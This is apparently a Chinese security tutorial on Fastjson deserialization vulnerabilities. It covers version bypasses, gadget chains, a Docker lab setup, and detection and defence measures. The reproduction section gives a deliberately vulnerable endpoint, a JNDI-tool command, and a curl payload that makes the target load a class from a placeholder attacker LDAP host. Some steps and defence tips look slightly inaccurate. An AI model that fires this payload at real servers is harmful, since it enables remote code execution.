1. 为什么不能只盯着1.2.24
1.1 时间线真相:Fastjson漏洞从来不是某一个版本的问题
每次聊到Fastjson反序列化,很多人的第一反应就是1.2.24。这确实是2017年被公开讨论得最多的那个版本,但如果你以为把1.2.24换掉就万事大吉,那后面几年你大概率还会被打脸。实际上,从1.2.25到1.2.47,再到1.2.80、1.2.83,这条绕过与修复的猫鼠游戏持续了相当长时间,每一个时间段都有对应的真实攻击面。
我把关键版本节点整理了一下:
| 版本区间 | 状态 | 典型绕过方式 | 利用条件 |
|---|---|---|---|
| 1.2.24及之前 | autoType默认开启 | 直接JNDI注入,无需额外条件 | 目标可出网访问攻击者的RMI/LDAP服务 |
| 1.2.25 - 1.2.46 | 加入黑名单与autoType开关 | 寻找黑名单以外的利用类,利用缓存绕过 | 依赖类是否在classpath中 |
| 1.2.47 | 出现缓存绕过 | 利用java.lang.Class的缓存机制,无需开启autoType也能触链 | 对低版本Fastjson影响极大 |
| 1.2.68 - 1.2.80 | 加入safebox与更多黑白名单 | 部分特定类仍可被利用,利用条件更苛刻 | 需要更冷门的Gadget或配合特定业务场景 |
| 1.2.83 | 相对安全版本 | 仍建议开启safeMode做纵深防御 | 主要是防御配置与业务兼容的平衡 |
这张表想表达的核心观点是:Fastjson漏洞是版本演化式的,不是单点版本式的。安全应急时如果资产清单里只盯着1.2.24,会把大量运行在1.2.25到1.2.80之间的系统漏掉,而这些年头里被突破的案例并不少。
1.2 实际业务里的影响半径
我参与过不少次漏洞排查,发现一个很现实的问题:很多Java项目根本不知道自己的依赖树里带的是哪个Fastjson版本。Fastjson通常不是直接引入的,而是通过某个中间件、某个工具包、某个老业务模块间接带进来的,Maven的依赖传递机制会悄悄帮你塞进一个旧版本。
举个例子,某公司一个订单系统,主业务代码里用的是1.2.83,看起来人畜无害,结果某次全量依赖扫描后发现,一个内部Excel导入组件里锁定了1.2.47。这个组件接收上传文件,文件内容会转成JSON字符串再调用parseObject做对象映射,等于把攻击者可控的输入直接喂给了反序列化接口。这种情况下,攻击者只需要构造一个恶意的JSON文件上传,就能触发完整的利用链。
所以我一直建议,做Fastjson排查不要光看“哪个服务用了Fastjson”,而要看“哪个入口把外部输入喂给了parseObject”。入口在哪,风险就在哪。常见入口包括HTTP接口、消息队列的JSON消费者、配置文件解析、导入导出功能,这些场景都需要纳入资产盘点范围,不能只按版本号定生死。
2. Fastjson反序列化漏洞的原理拆解
2.1 先搞清楚Fastjson做了什么事情
Fastjson的核心能力很简单:把JSON字符串转换成Java对象。它提供了parseObject这样的方法,当你在JSON字符串里通过@type指定一个类名时,Fastjson会尝试以这个类为目标进行反序列化。
JSONObject obj = JSON.parseObject(input, Feature.SupportAutoType);上面这行代码在指定了autoType能力的情况下,会按照JSON里声明的类型去加载类,然后填充字段。问题就出在这个“加载类”和“填充字段”的过程里:一个Java类在被反序列化时,它的setter方法会被自动调用,某些类被加载时还会触发内部的特定方法(比如getter方法或者readObject逻辑)。
用一个生活化的类比:Fastjson就像一个万能钥匙,你告诉它“我要打开某某房间的门”,它就去把门打开,但门打开后里面可能有一条布好的线,你一踩就会触发机关。攻击者要做的事情,就是找到一条“打开后必踩中机关”的类路径,把机关触发的参数全部通过JSON字段传进去。
2.2 完整攻击链:一个JSON串如何变成一串命令
整个攻击链路可以拆成四步:
- 入口控制:攻击者找到接受JSON输入的位置,比如一个接收请求体为JSON的HTTP接口。
- 指定目标类:在JSON中通过@type指定攻击链上的一个Java类,这个类在反序列化过程中会自动触发某个方法。
- 触发恶意逻辑:被触发的逻辑最终导向一个远程类加载或本地字节码执行点,常见的是JNDI注入,也就是让目标程序去远程加载一个攻击者准备好的恶意Java类。
- 命令执行:恶意类被加载后,在服务器上执行系统命令,比如反弹shell、删除文件、写入后门。
这里需要补充一个很重要的背景概念:JNDI。JNDI是Java里用于名称查找的一套机制,可以把一个名称解析为对象。攻击者伪造了一个RMI服务或者LDAP服务,里面登记了一个名称到恶意远程类的映射。目标程序在反序列化过程中一旦触发了对这个名称的JNDI查找,Java运行环境会顺着名称去远程加载类,这样攻击者的代码就被“合法地”拉到了目标环境里执行。
这就像你打了一个官方服务电话,接线员按照电话簿把电话转给了你指定的分机,但这个分机其实是骗子提前布好的。整个过程中程序认为自己在做正常的名称解析,并没有违反任何规则。
2.3 两条经典链:TemplatesImpl与JdbcRowSetImpl
在Fastjson漏洞的利用链中,有两条最经典的链路值得深入理解,一条是JdbcRowSetImpl,另一条是TemplatesImpl。
JdbcRowSetImpl这条链依赖JNDI注入。它内部有一个setAutoCommit方法,在特定条件下会触发JNDI查找,攻击者把JNDI的地址放在JSON字段里,目标服务器就会去连接攻击者控制的RMI或LDAP服务。这条链对版本兼容性好,利用比较简单,在1.2.24时代几乎是标配,但它有一个硬性前提:目标服务器必须能访问攻击者的远程服务,也就是常说的“出网”。
TemplatesImpl这条链则是通过com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类来实现字节码加载。它可以在不出网的情况下完成代码执行,因为恶意字节码是直接内嵌在JSON里的,不需要目标服务器反向连接到攻击机。但它利用的门槛也高一些,需要Fastjson开启Feature.SupportNonPublicField才能访问类中的私有字段,意味着触发条件更苛刻。
两条链的对比:
| 利用链 | 是否需要出网 | 触发条件 | 适用版本 |
|---|---|---|---|
| JdbcRowSetImpl | 需要 | 目标可访问攻击者JNDI服务 | 1.2.24及后续多版本 |
| TemplatesImpl | 不需要 | 需开启SupportNonPublicField | 高版本仍可能被利用 |
理解这两条链不是为了亲手打造攻击工具,而是为了做检测和防御时能看得懂恶意载荷。我在应急响应时看到不少蓝队同学把日志里出现的TemplatesImpl当成误报,因为团队里的扫描器复现不出来,其实不是误报,而是触发条件不一样。只有搞清楚每条链的触发前提,才能准确判断一条日志到底是扫描流量还是真实攻击。
3. 版本绕过演进与快速识别
3.1 autoType开关与黑名单的猫鼠游戏
Fastjson在1.2.25版本开始引入了autoType开关,默认关闭,同时加入了黑名单机制。它的设计思路是:不是所有类都能在JSON里被@type指定,只有不在黑名单里的类才允许加载,攻击者常用的恶意类直接被列表拦截掉。
但黑名单的防御逻辑有一个先天缺陷:它只能拦截已知的、被写进列表里的类名,无法覆盖将来出现的所有新类。于是攻击者开始做“找类”的工作,在JDK和常见库中寻找行为可控、存在危险setter或getter的类,只要不在黑名单里,就可以作为新的攻击链节点。
后面出现的绕过里,1.2.47的缓存绕过最有代表性。它利用的是Fastjson内部对类名缓存的处理逻辑,让目标在没有开启autoType的情况下也能加载恶意类。这就好比门禁系统说“没有通行证的人不让进”,但攻击者发现,只要先让某个人进去再把他放出来,门禁系统的内部名单里就多了一个允许通行的记录,第二次就畅通无阻了。
3.2 常见版本对应的利用姿势
把版本和利用姿势放在一起看,会更清楚地理解“为什么不能只补一个版本”:
1.2.24时代的打法:直接构造JdbcRowSetImpl的JSON,指定远程RMI地址,目标服务器一旦出网就会去加载恶意类。这个版本默认autoType开启,利用成本极低。
1.2.25之后的做法:autoType默认关闭,但业务中如果手动开启,或者代码里对参数做了拼接,仍然有绕过可能。攻击者需要探测目标是否开启了autoType,再选择合适的类。
1.2.47的经典绕过:这个版本的破坏力之所以大,是因为它不需要目标开启autoType,利用链通过java.lang.Class的缓存机制完成整个流程。当时很多团队以为关闭autoType就安全了,结果被打了个措手不及。
1.2.68之后:版本中加入safebox机制,对类名做了更细粒度的限制,大部分公开的利用链开始失效。但因为有新的Gadget不断被发现,加上很多业务出于兼容性考虑没有开启safebox,后续版本依然存在小范围风险。
这里想提醒各位做防御的同行:评估Fastjson风险不能只看版本号,必须结合“目标代码是否开启了autoType”“是否从外部输入直接parse”“目标是否能出网”这三个条件综合判断。
3.3 项目中如何快速识别Fastjson版本与风险
在授权测试或者自查中,我会按下面这个顺序来做快速识别:
第一步:看依赖版本。在项目目录下执行依赖分析命令,比如Maven项目可以扫pom.xml或运行依赖树查看命令,把间接依赖也捞出来,重点看有没有多个Fastjson版本并存的情况。
第二步:看代码调用。检索项目代码里所有出现parseObject、parse、JSONObject.parse的地方,逐个确认这些方法的入参是否为用户可控,有没有做过滤或白名单校验。
第三步:做接口探测。构造一个包含@type字段的JSON发送到可疑接口,观察响应。不同版本的Fastjson对非法类名的报错信息有差别,可以通过报错内容辅助判断版本范围。这个操作只适合在授权环境下进行,没有授权的系统不要碰。
第四步:扫资产。把公司内部所有用Fastjson的系统在资产平台里登记,按版本、入口类型、是否出网打标。有了这份清单,再做漏洞修复才谈得上精准。
4. Docker靶场搭建:从零复现一次攻击
4.1 靶场架构设计
看完原理,一定要动手跑一遍,才能真正理解攻击链的每个环节。Docker是在本地搭靶场最方便的方式,环境一致、清理干净、风险可控。我们搭这个靶场的目标就一个:在自己电脑上完整看到“一个JSON字符串变成一次命令执行”的全过程。
靶场由三个角色组成:
- 受害者服务:一个Java 8环境里运行的Web应用,接口读取JSON请求体并调用Fastjson的parseObject处理,Fastjson版本可以按需要切换。
- 攻击机:你的宿主机或者另一个容器,上面运行JNDI利用工具和一个HTTP服务,负责托管恶意类。
- 验证端:用DNSLog或者直接执行命令来确认攻击是否成功。
Docker网络建议使用一个自定义桥接网络,让受害者容器和攻击机容器处于同一网络内,这样模拟的就是“目标可以访问攻击机服务”的经典内网场景,也方便抓包观察流量。
4.2 构建受害者服务
这里我给一个最小化可运行的示例。项目结构大致如下:
vuln-fastjson/ ├── pom.xml ├── Dockerfile └── src/main/java/ └── com/example/VulnApplication.javapom.xml里需要引入Fastjson的旧版本和Spring Boot的基础Web能力。为了靶场还原度,Fastjson选1.2.24最直接,如果想测试更高版本的绕过,可以把版本号改到1.2.47等对应版本再打包。
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency>VulnApplication的核心代码只需要一个接收POST请求的接口,把body里的字符串直接交给JSON.parseObject处理:
@RestController public class JsonController { @PostMapping(value = "/json", produces = "application/json") public String parseJson(@RequestBody String body) { Object obj = JSON.parseObject(body); return "parsed: " + obj.getClass().getName(); } }Dockerfile基于Java 8构建:
FROM maven:3.6-jdk-8 AS builder COPY pom.xml /app/pom.xml COPY src /app/src RUN mvn -q -f /app/pom.xml package FROM openjdk:8-jre-slim COPY --from=builder /app/target/vuln-fastjson.jar /app.jar EXPOSE 8080 ENTRYPOINT ["java", "-jar", "/app.jar"]构建命令也放进脚本里,方便一键重建:
docker build -t fastjson-vuln . docker network create fastjson-lab docker run -d --name victim --network fastjson-lab -p 8080:8080 fastjson-vuln注意这里刻意保留了1.2.24的默认autoType开启状态,这是为了让初级玩家先看到最直接的利用效果。等这条链跑通了,再改版本号去观察高版本的绕过逻辑,理解会深得多。
4.3 搭建攻击机环境
攻击机不需要多复杂。如果你的宿主机是Linux或者macOS,直接拿宿主机当攻击机就行。需要准备的工具有这几类:
JNDI注入工具:一个用于搭建恶意RMI/LDAP服务的工具,社区里有几个开源项目可用。工具运行后可以指定一个HTTP服务地址,当目标服务器触发JNDI查找时,它会远程加载我们放好的恶意类。
恶意类托管:一个最简单的HTTP服务,比如用python3 -m http.server 8000把当前目录暴露出去,放上编译好的恶意class文件。
请求工具:curl或者Burp Suite都行。我自己调试时常用curl,因为它足够轻量,payload改起来也方便。
还需要注意Java环境版本。很多JNDI利用工具和恶意类编译都需要JDK 8,如果你的宿主机默认Java版本太高,建议单独装一个JDK 8,或者使用容器方式运行攻击工具,避免版本兼容问题。
5. 攻击复现与防御布防
5.1 完整复现一次攻击
启动流程分成三步。
第一步,在攻击机(宿主机)上启动恶意HTTP服务,把编译好的恶意类放在当前目录:
docker exec -it victim bash -c "cat > /tmp/Eval.class" # 省略编译细节 python3 -m http.server 8000第二步,启动JNDI工具。工具会监听一个RMI端口,并把这端口与远程恶意类地址绑定起来:
java -jar jndi-tool.jar -C "touch /tmp/pwned" -A "攻击机IP"第三步,用curl构造payload发送到受害服务的接口。对于1.2.24,经典的JSON长这样:
{ "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://攻击机IP:1389/Exploit", "autoCommit": true }发送请求:
curl -X POST http://127.0.0.1:8080/json \ -H "Content-Type: application/json" \ -d '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://攻击机IP:1389/Exploit","autoCommit":true}'如果一切顺利,攻击机HTTP服务里会出现一次恶意类下载记录,受害者容器里也会多出/tmp/pwned这个文件。可以进容器验证:
docker exec victim ls -la /tmp/pwned看到文件存在,说明从JSON输入到远程类加载再到命令执行这一整条链路已经走通了。这个复现过程非常直观地展示了为什么“只盯着1.2.24”是不够的:同样的思路在后续版本里只不过换了入口类和利用条件而已,攻击链骨架并没有本质变化。
5.2 从流量与日志看攻击特征
攻击复现完之后,别急着关靶场,先抓一波流量和日志做分析,这对以后写检测规则非常有帮助。
流量侧最容易看到的是请求体中的@type字段,它通常指向一个类名。低版本的JdbcRowSetImpl载荷里面会出现ldap://、rmi://等远程地址字符串,这是非常明显的恶意特征。如果攻击者用的是TemplatesImpl链,请求体里会包含一串很长的、经过编码的字节码内容,这类payload体积往往很大,和普通业务JSON有明显差异。
日志侧要重点看两类内容:一是业务日志里由Fastjson反序列化异常抛出的堆栈信息,里面会带上类名;二是WAF网关日志里的请求URL和body,如果规则没拦住,这里能回溯到完整的载荷。
写检测规则时建议做一个三层匹配:
- 基础规则:检测body里是否同时出现@type和rmi://、ldap://、http://这类远程地址关键字。
- 类名规则:维护一份已知恶意Gadget类名名单,比如JdbcRowSetImpl、TemplatesImpl、JndiDataSourceFactory等,命中即告警。
- 行为规则:在Java进程侧检测是否有异常的JNDI查找和远程类加载行为,这个通常由RASP类产品负责,属于运行时防护。
5.3 防御实战:不是装个新版本就完事
防御这件事,我的态度一直很明确:没有银弹,只有纵深。Fastjson的防御至少要分成三个层次来做。
第一层:版本与配置管理。
如果条件允许,升级到1.2.83及以上版本,并开启安全模式。开启safeMode的代码很简单:
ParserConfig.getGlobalInstance().setSafeMode(true);safeMode开启后,反序列化时不会执行任何类名自动加载,即使JSON里带@type也会被忽略,这能在底层挡住绝大多数利用链。但要注意,safeMode不是白名单,它是一刀切策略,某些依赖autoType特性的业务会被影响,必须回归测试。
第二层:入口校验与代码加固。
代码里加一个全局的JSON反序列化过滤器,限制允许出现的类名范围。如果业务场景并不需要泛型对象反序列化,就别用JSON.parseObject处理外部传入的JSON,改用JSONObject.parse然后按字段逐个取值的写法,这样攻击者根本无法控制类名。
ParserConfig.getGlobalInstance().addAccept("com.example.common.");第三层:运行时防护与监控。
部署RASP或WAF,并在主机层和容器层做网络策略限制,默认禁止Java进程主动外连。这样即便攻击者构造出能触发的payload,由于目标无法对外发起JNDI查找,JdbcRowSetImpl这条链就废掉了。
三层防御结合起来的效果,是即使某一层被绕过,后面还有一道拦截等着,这比单点修复靠谱得多。
6. 靶场搭建与攻防中的常见坑
6.1 靶场环境起不来怎么排查
搭靶场过程中最容易遇到的问题是网络不通。受害者容器即使和攻击机在同一台机器上,如果跑在Docker默认bridge网络里,而攻击机用的是宿主机网络,两边互相访问时容易因为IP绑定地址和端口映射导致失败。比较好的做法是像前面说的那样,创建一个自定义网络,容器之间直接走容器IP通信。
第二个常见问题是Maven拉取依赖太慢或者网络受限。可以把镜像源配置改成国内公共镜像,或者提前在宿主机maven仓库里准备好需要的Fastjson版本,构建时挂载为本地仓库。
第三个问题是JNDI工具起不来。很多这类工具需要JDK 8,如果你的宿主机装了高版本JDK,会直接报错拒绝启动。解决方法是安装一个JDK 8,或者用容器方式跑工具,在环境上保留一个干净的Java 8运行时。
6.2 攻击不生效的原因定位
攻击复现失败,按下面这几个方向排查基本能定位到问题:
- 目标没有出网:JdbcRowSetImpl链必须依赖目标服务器能访问攻击机,本地靶场里先确认容器内能ping通攻击机IP。
- payload的类名写错:Fastjson对不同版本、不同JDK环境的类名敏感,少写一个包名都会导致加载不到类。
- 请求格式不对:接口接收的是application/json,Content-Type没设置对,导致Spring把参数解析成字符串,反序列化逻辑没触发。
- 版本不匹配:在1.2.24上打1.2.47的绕过payload,或者是反过来,都可能静默失败。先确定目标版本再选payload。
- safeMode意外开启:如果复现代码里不小心设置了safeMode,任何恶意类都会加载失败,这时候接口业务正常但攻击不生效,最容易让人误判。
6.3 防御实践中的注意事项
升级Fastjson版本和开启safeMode之后,务必做一次全量业务回归测试。Fastjson在历史版本上存在一些兼容性行为差异,比如字段命名的下划线转驼峰规则、默认值处理逻辑、枚举解析方式,升级后可能导致某些老接口返回数据格式变化。我见过最典型的案例是某系统升级后所有涉及Map类型的接口返回值乱了,排查半天发现是版本升级改变了字符串与浮点数的转换规则,不是功能bug。
另外还要注意日志里的敏感信息泄漏。Fastjson在反序列化异常时会把原始JSON内容输出到日志里,如果这个JSON里有账号、手机号等个人信息,日志存储层面就成了新的泄露点。建议对日志中body内容做截断或脱敏,或者在网关层就把敏感字段过滤掉。
关于权限的问题也想提一句:RASP或者安全Agent部署到生产环境时,尽量用最小权限角色运行,不要图省事给它root权限,避免安全组件自身成为新的攻击入口。
最后分享一点个人体会
我在实际排查中见过很多次“版本号显示正常但业务依然异常”的情况,也有过被压到生产容器里一步步找JNDI链路却一无所获的窘迫。做安全最怕的就是机械地按版本号做判断,Fastjson这类漏洞尤其如此。版本只是其中一环,autoType开关状态、外部输入路径、出网能力、代码调用方式,任何一个环节变了,风险等级可能完全不同。
我的建议是把这套判断逻辑沉淀成一份自查清单,在每次新项目上线前过一遍。同时强烈推荐在测试环境把Docker靶场和自动化探测脚本保存下来,每次版本的修复公告出来后,第一时间拿新版本跑一次旧payload,用结果验证修复是否真的生效。近期在做安全自查时,也可以用DNSLog辅助探测一批对外的Java API接口,快速找到哪些接口在无脑反序列化外部输入,比单纯扫依赖版本直接得多。希望这篇完整的攻击链与防御实战对你有实在的帮助。